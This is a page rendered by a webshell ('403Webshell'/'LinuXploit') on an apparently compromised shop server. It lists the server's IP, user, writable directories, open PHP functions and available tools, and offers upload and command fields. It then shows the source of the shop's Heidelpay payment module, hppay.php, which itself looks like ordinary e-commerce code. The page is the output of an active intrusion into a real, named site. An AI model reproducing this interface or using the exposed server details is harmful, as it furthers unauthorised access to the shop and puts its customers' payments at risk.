403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/includes/modules/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/includes/modules/payment//hppay.php
<?php
/*
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
*/

$languageTextManager = MainFactory::create_object('LanguageTextManager', array(), true);
$languageTextManager->init_from_lang_file('hgwConf', $_SESSION['languages_id']);
$languageTextManager->init_from_lang_file('hppay', $_SESSION['languages_id']);

if(file_exists(DIR_WS_CLASSES.'class.heidelpaygw.php')){
	include_once(DIR_WS_CLASSES.'class.heidelpaygw.php');
}else{
	require_once(DIR_FS_CATALOG.DIR_WS_CLASSES.'class.heidelpaygw.php');
}

class hppay_ORIGIN{
	var $code, $title, $description, $enabled, $hgw, $pm, $tmpOrders;

	// class constructor
	function __construct(){
		GLOBAL $order, $language;

		$this->hgw 				= new heidelpayGW();
		$this->pm 				= 'pay';
		$this->code 			= 'hp'.$this->pm;
		$this->title_txt 		= defined('MODULE_PAYMENT_HPPAY_TEXT_TITLE') ? MODULE_PAYMENT_HPPAY_TEXT_TITLE : '';
		$this->title 			= sprintf(HGW_LOGO, DIR_WS_CATALOG) . $this->title_txt;
		$this->description		= MODULE_PAYMENT_HPPAY_TEXT_DESC.'<br/><i>['.$this->hgw->version.']</i>'.$this->hgw->modulConfButton;
		$this->sort_order		= defined('MODULE_PAYMENT_HPPAY_SORT_ORDER') ? MODULE_PAYMENT_HPPAY_SORT_ORDER : '0';
		$this->enabled			= defined('MODULE_PAYMENT_HPPAY_STATUS') && MODULE_PAYMENT_HPPAY_STATUS === 'True';
		$this->info				= defined('MODULE_PAYMENT_HPPAY_TEXT_INFO') ? MODULE_PAYMENT_HPPAY_TEXT_INFO : '';
		$this->tmpOrders		= true;
		$this->hgw->actualPaymethod = strtoupper($this->pm);
		$this->prefix			= 'MODULE_PAYMENT_HPPAY_';
		$this->getConf			= $this->hgw->getConf;

		if(is_object($order)){ $this->update_status(); }
	}

	function update_status(){
		GLOBAL $order;

		if(($this->enabled == true) && ((int) MODULE_PAYMENT_HPPAY_ZONE > 0)){
			$check_flag = false;
			$sql = xtc_db_query("SELECT zone_id FROM ". TABLE_ZONES_TO_GEO_ZONES ." WHERE geo_zone_id = '". MODULE_PAYMENT_HPPAY_ZONE ."' AND zone_country_id = '". $order->billing['country']['id'] ."' ORDER BY zone_id");

			while($check = xtc_db_fetch_array($sql)){
				if($check['zone_id'] < 1){
					$check_flag = true;
					break;
				}elseif($check['zone_id'] == $order->billing['zone_id']){
					$check_flag = true;
					break;
				}
			}
			if($check_flag == false){ $this->enabled = false; }
		}
	}

	function javascript_validation(){
		return false;
	}

	function selection(){
		GLOBAL $order, $formUrl;
		$getConf		= $this->getConf;
		$hasReg			= '';
		$bookingMode	= $getConf['pay_bookingMode'];
		$content 		= array();
		$this->pmAv 	= true;
		$this->pmAv_error = '';

// 		if (isset($_SESSION['tpl'])) {
// 			$templateName = $_SESSION['tpl'];
// 		} else {
// 			$templateName = 'EyeCandy';
// 		}

		if(($bookingMode == 3) || ($bookingMode == 4)){
			$regData = $this->hgw->getRegData($_SESSION['customer_id'], 'va');

			if(!empty($regData)){
				$showRegData = true;
				$getFormUrl = $this->hgw->getFormUrl($this->pm, $bookingMode, $_SESSION['customer_id'], $uid=$regData['uid'], (array)$order, $ppd_crit=NULL);
			}else{
				$showRegData = false;
				$getFormUrl = $this->hgw->getFormUrl($this->pm, $bookingMode, $_SESSION['customer_id'], $uid=NULL, (array)$order, $ppd_crit=NULL);
			}

			if((isset($getFormUrl['delReg'])) && ($getFormUrl['delReg'] == 1)){ $showRegData = false; }
			if(is_int(strpos($_SERVER['SCRIPT_NAME'], FILENAME_CHECKOUT_PAYMENT))){
				// store customer data for response
				// needed for $shippingHash
				$customer = $order->customer;
				$customer['id'] = $regData['userID'];
				$_SESSION['hpLastCustomer'] = $customer;
			}else{
				unset($_SESSION['hpLastCustomer']);
			}
		}

		// message if no testing account is set
		if($getConf['transactionMode'] == '1' && isset($order) && strpos(strtolower(MODULE_PAYMENT_HPPAY_TEST_ACCOUNT), strtolower($order->customer['email_address'])) === false){
			$this->pmAv = false;
			$this->pmAv_error = HGW_DEBUGTEXT;

			$content = array(
				array(
					'title' 	=> '',
					'field' 	=> $this->pmAv_error,
				),
			);
		}else{
			if(isset($getFormUrl)){
				if($getFormUrl['PROCESSING.RESULT'] == 'NOK'){
					$this->pmAv = false;
					$this->pmAv_error = $this->hgw->getHPErrorMsg($getFormUrl['PROCESSING.RETURN.CODE']);

// 					if ($templateName == 'Honeygrid') {
// 						$content = array(
// 								array(
// 									'title' 	=> ' ',
// 									'field' 	=> '<div class="errorText">'.$this->pmAv_error.'</div>'
// 								),
// 						);
// 					} else {

						$content = array(
							array(
								'title' 	=> '',
								'field' 	=> '<div class="errorText">'.$this->pmAv_error.'</div>'
							),
						);

// 					}


				}else{
					$formUrl[$this->pm] = $getFormUrl['FRONTEND.REDIRECT_URL'];

					if($showRegData){
						$hasReg = 'style="display:none;"';

// 						if ($templateName == 'Honeygrid') {
// 							$content = array(
// 									array(
// 											'title'	=> ' ',
// 											'field'	=> '<div class="reuse_'.$this->pm.'">
// 										'.sprintf(HGW_TXT_REGDATA, $_SESSION['customer_first_name'], $_SESSION['customer_last_name']).'<br/><br/>
// 										<table>
// 											<colgroup>
// 												<col width="100">
// 												<col width="300">
// 											</colgroup>
// 											<tr><td>'.HGW_TXT_MAIL.':</td><td>'.$regData['email'].'</td></tr>
// 										</table>
// 									</div>'
// 									)
// 								);
// 						} else {
							$content = array(
									array(
											'title'	=> '',
											'field'	=> '<div class="reuse_'.$this->pm.'">
									'.sprintf(HGW_TXT_REGDATA, $_SESSION['customer_first_name'], $_SESSION['customer_last_name']).'<br/><br/>
									<table>
										<colgroup>
											<col width="100">
											<col width="300">
										</colgroup>
										<tr><td>'.HGW_TXT_MAIL.':</td><td>'.$regData['email'].'</td></tr>
									</table>
								</div>'
									)
							);

// 						}
					}

// 				if ($templateName == 'Honeygrid') {
// 					$content = array_merge($content, array(
// 							array(
// 									'title'	=> ' ',
// 									'field'	=> '<div class="newreg_'.$this->pm.'" '.$hasReg.'>
// 								<table>
// 									<colgroup>
// 										<col width="100">
// 										<col width="300">
// 									</colgroup>
// 									<tr><td>'.HGW_TXT_MAIL.'*:</td><td><input type="text" class="text" value="" id="contactMail" name="CONTACT.EMAIL" /></td></tr>
// 									<tr><td colspan="2" class="description">'.HGW_TXT_MAND.'<br/><br/>'.HGW_TXT_PAYINFO.'</td></tr>
// 								</table>
// 							</div>'
// 							)
// 					));
// 				} else {

					$content = array_merge($content, array(
							array(
									'title'	=> '',
									'field'	=>
									'<div class="newreg_'.$this->pm.'" '.$hasReg.'>
										<table>
											<colgroup>
												<col width="100">
												<col width="300">
											</colgroup>
											<tr><td>'.HGW_TXT_MAIL.'*:</td><td><input type="text" class="text" value="" id="contactMail" name="CONTACT.EMAIL" /></td></tr>
											<tr><td colspan="2" class="description">'.HGW_TXT_MAND.'<br/><br/>'.HGW_TXT_PAYINFO.'</td></tr>
										</table>
									</div>'
								)
						));

// 				}

					if($hasReg != ''){
// 						if ($templateName == 'Honeygrid') {
// 							$content = array_merge($content, array(
// 									array(
// 											'title'	=> ' ',
// 											'field'	=> '<div><input class="reuseBox_'.$this->pm.'" type="checkbox" />'.HGW_TXT_REUSE.'</div>'
// 									)
// 							));
// 						} else {
							$content = array_merge($content, array(
									array(
											'title'	=> '',
											'field'	=> '<div><input class="reuseBox_'.$this->pm.'" type="checkbox" />'.HGW_TXT_REUSE.'</div>'
									)
							));

// 						}
					}
				}
			}
		}


		$checkoutJs = $this->hgw->includeCheckoutJs($this->pm);

// 		if ($templateName == 'Honeygrid') {
// 			$content[] = array(
// 					'title'	=> ' ',
// 					'field'	=> $checkoutJs
// 			);
// 		} else {
			$content[] = array(
					'title'	=> '',
					'field'	=> $checkoutJs
			);

// 		}


		return array(
			'id'			=> $this->code,
			'module'		=> $this->title_txt,
			'fields'		=> $content,
			'description'	=> $this->info
		);
	}

	function pre_confirmation_check(){
		if($this->pmAv === false){
			$_SESSION['redirect_error'] = $this->pmAv_error;
			$url = xtc_href_link(FILENAME_CHECKOUT_PAYMENT, 'payment_error=' . $this->code, 'SSL');
			xtc_redirect($url);
		}
		return false;
	}

	function confirmation(){
		return false;
	}

	function process_button(){
		return false;
	}

	function before_process(){
		return false;
	}

	function payment_action(){
		$_SESSION['hp_tmp_oID'] = $_SESSION['tmp_oID'];
		$_SESSION['hp_tmp_glob']['order'] = json_encode($GLOBALS['order']);

		foreach($GLOBALS as $key => $value){
			if(is_int(strpos($key, 'ot_'))){
				$_SESSION['hp_tmp_glob'][$key] = $value;
				$_SESSION['hp_tmp_otmod'][] = $key.'.php';
			}
		}
		$url = xtc_href_link('ext/heidelpay/heidelpayGW_gateway.php', '', 'SSL');
		xtc_redirect($url);

		return true;
	}

	function after_process(){
		unset($_SESSION['hp_tmp_oID']);
		unset($_SESSION['hp_tmp_glob']);
		unset($_SESSION['hp_tmp_otmod']);
		return true;
	}

	function get_error(){
		$error = array(
			'title' => MODULE_PAYMENT_HPDD_TEXT_ERROR,
			'error' => $_SESSION['redirect_error']
		);
		unset($_SESSION['redirect_error']);

		return $error;
	}

	function check(){
		if(!isset ($this->_check)){
			$sql = xtc_db_query("SELECT configuration_value FROM ".TABLE_CONFIGURATION." WHERE configuration_key = 'MODULE_PAYMENT_".  strtoupper($this->code) ."_STATUS'");
			$this->_check = xtc_db_num_rows($sql);
		}
		return $this->_check;
	}

	function install(){
		$this->hgw->checkRegTable();
		$this->hgw->checkOrderStatus();
		$this->hgw->checkTransactTable();

		$this->remove(true);

		$groupId = 6;
		$sqlBase = 'INSERT INTO `'.TABLE_CONFIGURATION.'` SET ';

		$inst = array();
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'STATUS',
			'configuration_value'	=> 'True',
			'set_function'				=> 'xtc_cfg_select_option(array(\'True\', \'False\'), ',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'TEST_ACCOUNT',
			'configuration_value'	=> '',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'PROCESSED_STATUS_ID',
			'configuration_value'	=> '333',
			'set_function'				=> 'xtc_cfg_pull_down_order_statuses(',
			'use_function'				=> 'xtc_get_order_status_name',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'PENDING_STATUS_ID',
			'configuration_value'	=> '2',
			'set_function'				=> 'xtc_cfg_pull_down_order_statuses(',
			'use_function'				=> 'xtc_get_order_status_name',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'CANCELED_STATUS_ID',
			'configuration_value'	=> '330',
			'set_function'				=> 'xtc_cfg_pull_down_order_statuses(',
			'use_function'				=> 'xtc_get_order_status_name',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'SORT_ORDER',
			'configuration_value'	=> '1.15',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'ALLOWED',
			'configuration_value'	=> '',
		);
		$inst[] = array(
			'configuration_key'	=> $this->prefix.'ZONE',
			'configuration_value'	=> '',
			'set_function'				=> 'xtc_cfg_pull_down_zone_classes(',
			'use_function'				=> 'xtc_get_zone_class_title',
		);

		foreach($inst as $sort => $conf){
			$sql = $sqlBase.' ';
			foreach($conf as $key => $val){
				$sql.= '`'.addslashes($key).'` = "'.$val.'", ';
			}
			$sql .= '`sort_order` = "'.$sort.'", ';
			$sql .= '`configuration_group_id` = "'.addslashes($groupId).'", ';
			$sql .= '`date_added` = NOW() ';
			xtc_db_query($sql);
		}
	}

	function remove(){
		xtc_db_query("DELETE FROM ". TABLE_CONFIGURATION ." WHERE configuration_key IN ('". implode("', '", $this->keys()) ."')");
	}

	function keys(){
		return array(
			'MODULE_PAYMENT_HPPAY_STATUS',
			'MODULE_PAYMENT_HPPAY_TEST_ACCOUNT',
			'MODULE_PAYMENT_HPPAY_PROCESSED_STATUS_ID',
			'MODULE_PAYMENT_HPPAY_PENDING_STATUS_ID',
			'MODULE_PAYMENT_HPPAY_CANCELED_STATUS_ID',
			'MODULE_PAYMENT_HPPAY_SORT_ORDER',
			'MODULE_PAYMENT_HPPAY_ALLOWED',
			'MODULE_PAYMENT_HPPAY_ZONE',
		);
	}
}

MainFactory::load_origin_class('hppay');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit